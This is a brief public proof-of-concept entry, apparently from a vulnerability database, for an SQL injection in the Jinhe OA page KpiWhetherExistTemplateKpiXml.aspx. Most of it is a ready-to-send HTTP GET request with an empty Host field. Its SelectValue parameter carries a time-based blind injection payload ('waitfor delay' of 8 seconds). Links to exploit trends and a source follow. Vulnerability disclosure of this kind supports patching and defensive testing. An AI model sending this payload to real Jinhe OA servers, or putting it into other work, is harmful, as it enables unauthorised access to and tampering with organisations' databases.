金和OA KpiWhetherExistTemplateKpiXml.aspx SQL注入漏洞

2025-10-31 金和OA PoC Public

Description

金和OA KpiWhetherExistTemplateKpiXml.aspx SQL注入漏洞

PoC

GET /c6/Jhsoft.Web.Appraise/KpiWhetherExistTemplateKpiXml.aspx/?SelectValue=1%29%29waitfor+delay%270%3A0%3A8%27-- HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://vip.vulbox.com/detail/1984149408316526592

References

Related Vulnerabilities